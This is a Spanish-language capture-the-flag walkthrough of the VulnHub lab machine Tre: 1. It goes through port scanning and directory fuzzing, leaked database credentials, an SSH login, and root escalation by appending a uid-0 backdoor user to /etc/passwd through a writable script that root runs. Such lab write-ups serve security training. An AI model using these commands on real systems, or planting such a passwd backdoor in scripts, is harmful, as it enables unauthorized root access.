En este post voy a vulnerar la máquina Tre: 1 de VulnHub. Es una máquina Linux, de nivel intermedio para VulnHub y Proving Grounds, basada en la enumeración y en entender el funcionamiento de los sistemas linux.
Enumeración
Comienzo averiguando la IP que ha tomado la máquina con netdiscover.
sudo netdiscover -i eth0

Ahora que ya tengo la IP en la que está alojada la máquina, escaneo los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo.
nmap -p- --open -n --min-rate 5000 192.168.71.158

En la máquina hay tres puertos abiertos. Escaneo los puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.
nmap -p22,80,8082 -sC -sV 192.168.71.158 Starting Nmap 7.91 ( https://nmap.org ) at 2022-05-16 13:44 CEST Nmap scan report for 192.168.71.158 Host is up (0.00035s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 99:1a:ea:d7:d7:b3:48:80:9f:88:82:2a:14:eb:5f:0e (RSA) | 256 f4:f6:9c:db:cf:d4:df:6a:91:0a:81:05:de:fa:8d:f8 (ECDSA) |_ 256 ed:b9:a9:d7:2d:00:f8:1b:d3:99:d6:02:e5:ad:17:9f (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Tre 8082/tcp open http nginx 1.14.2 |_http-server-header: nginx/1.14.2 |_http-title: Tre Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.70 seconds

Hago un fuzzing con gobuster de los ficheros ocultos php, html y txt y me llama la atención uno llamado adminer.php.
gobuster dir -u http://192.168.71.158/ -w /usr/share/wordlists/dirb/big.txt -e -t 100 -x html,txt,php

Accedo a la web http://192.168.71.158/adminer.php y llego a un portal de autenticación de bases de datos. Googleando un poco descubro que adminer es un gestor de BBDD open source.

Continuo enumerando ficheros y directorios ocultos y encuentro uno directorio interesante en la ruta http://192.168.71.158/mantisbt/config.
gobuster dir -u http://192.168.71.158/mantisbt/ -w /usr/share/wordlists/dirb/big.txt -e -t 100 -x html,txt,php

Accedo al directorio con el navegador y encuentro varios ficheros, pero el mas interesante es uno llamado a.txt.

Accedo a este fichero y, sobre la mitad del contenido, encuentro lo que parecen unas credenciales de para base de datos.

Explotación
No me queda muy claro que esta máquina tenga fase de explotación, ya que el acceso se consigue debido a un fallo de information disclosure, pero yo la voy a situar aquí.
Con las credenciales que he obtenido, vuelvo al portal de adminer y logro autenticarme.


En el menú de la columna de la izquierda, hago click en select de la tabla mantis_user_table y obtengo credenciales de dos usuarios.


Entre otros, tengo las columnas username y password pero, echando un vistazo a la columna realname, su contenido también se parece a como son las contraseñas típicamente en un CTF así que decido cogerlo también.

Combino la información de las tres columnas y consigo autenticarme por ssh con las credenciales tre:Tr3@123456A!.
ssh tre@192.168.71.158

Escalada de Privilegios
Ejecuto Linux Smart Enumeration, con el nivel 1 de verbosity y me indica que puedo ejecutar el script /sbin/shutdown como root sin necesidad de contraseña.

Buscando un poco de información sobre este script (mas info aquí) descubro que solo sirve para cerrar el sistema por lo que, a priori, parece de poca utilidad.
Continuo viendo la enumeración del sistema y, en los procesos ejecutados por root, me llama la atención que aparece /usr/bin/check-system. Busco información sobre este script pero no encuentro ninguna, así que supongo que será un script artificial (creado por algún usuario).

Invesitog un poco sobre el script y veo que tengo permisos de escritura sobre él y que tiene un contenido muy simple.

Se me ocurre que puedo añadir contenido malicioso al script y, con shutdown, reiniciar el sistema como root. Esto hará que, cuando se reinicie el sistema, se ejecute el script de check-system como root y se inyecte mi contenido malicioso. Hay varios métodos que podría utilizar pero voy a decantarme con crear un nuevo usuario root.
Primero, con openssl, cifro la contraseña evil123.
openssl passwd evil123

Luego modifico el binario /usr/bin/check-system con una nueva línea que añadirá un nuevo usuario root al fichero /etc/passwd.
echo 'evil:bI80g1KkcE5rQ:0:0:root:/root:/bin/bash' >> /etc/passwd

Reinicio el sistema con /sbin/shutdown.
sudo /sbin/shutdown -r now

Me espero un minuto y vuelvo a conectarme por ssh a la máquina. Una vez dentro compruebo que se ha creado el nuevo usuario y elevo privilegios.
sshpass -p 'Tr3@123456A!' ssh tre@192.168.71.158 cat /etc/passwd | grep 'evil' su evil

La flag de root la encuentro en la ruta /root/root.txt.

